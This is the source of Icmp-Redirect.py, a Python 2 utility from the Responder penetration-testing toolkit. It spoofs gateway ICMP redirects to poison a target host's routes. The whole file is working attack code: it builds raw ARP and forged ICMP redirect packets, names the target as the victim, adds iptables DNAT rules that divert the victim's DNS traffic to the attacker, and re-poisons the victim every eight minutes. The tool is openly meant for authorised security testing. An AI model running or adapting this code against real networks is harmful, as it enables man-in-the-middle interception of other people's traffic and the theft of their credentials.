Icmp-Redirect.py

#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import optparse
import pipes
import sys
from socket import *
sys.path.append('../')
from odict import OrderedDict
from random import randrange
from time import sleep
from subprocess import call
from packets import Packet

parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
                               prog=sys.argv[0],
                               )
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
options, args = parser.parse_args()

if options.OURIP is None:
    print "-i mandatory option is missing.\n"
    parser.print_help()
    exit(-1)
elif options.OriginalGwAddr is None:
    print "-g mandatory option is missing, please provide the original gateway address.\n"
    parser.print_help()
    exit(-1)
elif options.VictimIP is None:
    print "-t mandatory option is missing, please provide a target.\n"
    parser.print_help()
    exit(-1)
elif options.Interface is None:
    print "-I mandatory option is missing, please provide your network interface.\n"
    parser.print_help()
    exit(-1)
elif options.ToThisHost is None:
    print "-r mandatory option is missing, please provide a destination target.\n"
    parser.print_help()
    exit(-1)

if options.AlternateGwAddr is None:
    AlternateGwAddr = options.OURIP

#Setting some vars.
OURIP = options.OURIP
OriginalGwAddr = options.OriginalGwAddr
AlternateGwAddr = options.AlternateGwAddr
VictimIP = options.VictimIP
ToThisHost = options.ToThisHost
ToThisHost2 = options.ToThisHost2
Interface = options.Interface

def Show_Help(ExtraHelpData):
    print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n")
    print(ExtraHelpData)

MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)

def GenCheckSum(data):
    s = 0
    for i in range(0, len(data), 2):
        q = ord(data[i]) + (ord(data[i+1]) << 8)
        f = s + q
        s = (f & 0xffff) + (f >> 16)
    return struct.pack("<H",~s & 0xffff)

#####################################################################
#ARP Packets
#####################################################################
class EthARP(Packet):
    fields = OrderedDict([
        ("DstMac", "\xff\xff\xff\xff\xff\xff"),
        ("SrcMac", ""),
        ("Type", "\x08\x06" ), #ARP
    ])

class ARPWhoHas(Packet):
    fields = OrderedDict([
        ("HwType",    "\x00\x01"),
        ("ProtoType", "\x08\x00" ), #IP
        ("MacLen",    "\x06"),
        ("IPLen",     "\x04"),
        ("OpCode",    "\x00\x01"),
        ("SenderMac", ""),
        ("SenderIP",  "\x00\xff\x53\x4d"),
        ("DstMac",    "\x00\x00\x00\x00\x00\x00"),
        ("DstIP",     "\x00\x00\x00\x00"),
    ])

    def calculate(self):
        self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
        self.fields["SenderIP"] = inet_aton(OURIP)

#####################################################################
#ICMP Redirect Packets
#####################################################################
class Eth2(Packet):
    fields = OrderedDict([
        ("DstMac", ""),
        ("SrcMac", ""),
        ("Type", "\x08\x00" ), #IP
    ])

class IPPacket(Packet):
    fields = OrderedDict([
        ("VLen",       "\x45"),
        ("DifField",   "\x00"),
        ("Len",        "\x00\x38"),
        ("TID",        "\x25\x25"),
        ("Flag",       "\x00"),
        ("FragOffset", "\x00"),
        ("TTL",        "\x1d"),
        ("Cmd",        "\x01"), #ICMP
        ("CheckSum",   "\x00\x00"),
        ("SrcIP",   ""),
        ("DestIP",     ""),
        ("Data",       ""),
    ])

    def calculate(self):
        self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
        self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
        self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
        # Calc Len First
        CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
        self.fields["Len"] = struct.pack(">H", len(CalculateLen))
        # Then CheckSum this packet
        CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
        self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)

class ICMPRedir(Packet):
    fields = OrderedDict([
        ("Type",       "\x05"),
        ("OpCode",     "\x01"),
        ("CheckSum",   "\x00\x00"),
        ("GwAddr",     ""),
        ("Data",       ""),
    ])

    def calculate(self):
        self.fields["GwAddr"] = inet_aton(OURIP)
        CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
        self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)

class DummyUDP(Packet):
    fields = OrderedDict([
        ("SrcPort",    "\x00\x35"), #port 53
        ("DstPort",    "\x00\x35"),
        ("Len",        "\x00\x08"), #Always 8 in this case.
        ("CheckSum",   "\x00\x00"), #CheckSum disabled.
    ])

def ReceiveArpFrame(DstAddr):
    s = socket(AF_PACKET, SOCK_RAW)
    s.settimeout(5)
    Protocol = 0x0806
    s.bind((Interface, Protocol))
    OurMac = s.getsockname()[4]
    Eth = EthARP(SrcMac=OurMac)
    Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
    Arp.calculate()
    final = str(Eth)+str(Arp)
    try:
        s.send(final)
        data = s.recv(1024)
        DstMac = data[22:28]
        DestMac = DstMac.encode('hex')
        PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
        return PrintMac,DstMac
    except:
        print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
        exit(1)

def IcmpRedirectSock(DestinationIP):
    PrintMac,DestMac = ReceiveArpFrame(VictimIP)
    print '[ARP]Target Mac address is :',PrintMac
    PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
    print '[ARP]Router Mac address is :',PrintMac
    s = socket(AF_PACKET, SOCK_RAW)
    Protocol = 0x0800
    s.bind((Interface, Protocol))
    Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
    IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
    IPPackUDP.calculate()
    ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
    ICMPPack.calculate()
    IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
    IPPack.calculate()
    final = str(Eth)+str(IPPack)
    s.send(final)
    print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)

def FindWhatToDo(ToThisHost2):
    if ToThisHost2 != None:
        Show_Help('Hit CRTL-C to kill this script')
        RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
    if ToThisHost2 == None:
        Show_Help(MoreHelp)
        IcmpRedirectSock(DestinationIP=ToThisHost)
        exit()

def RunThisInLoop(host, host2, ip):
    dns1 = pipes.quote(host)
    dns2 = pipes.quote(host2)
    ouripadd = pipes.quote(ip)
    call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
    call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
    print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
    while True:
        IcmpRedirectSock(DestinationIP=dns1)
        IcmpRedirectSock(DestinationIP=dns2)
        print "[+]Repoisoning the target in 8 minutes..."
        sleep(480)

FindWhatToDo(ToThisHost2)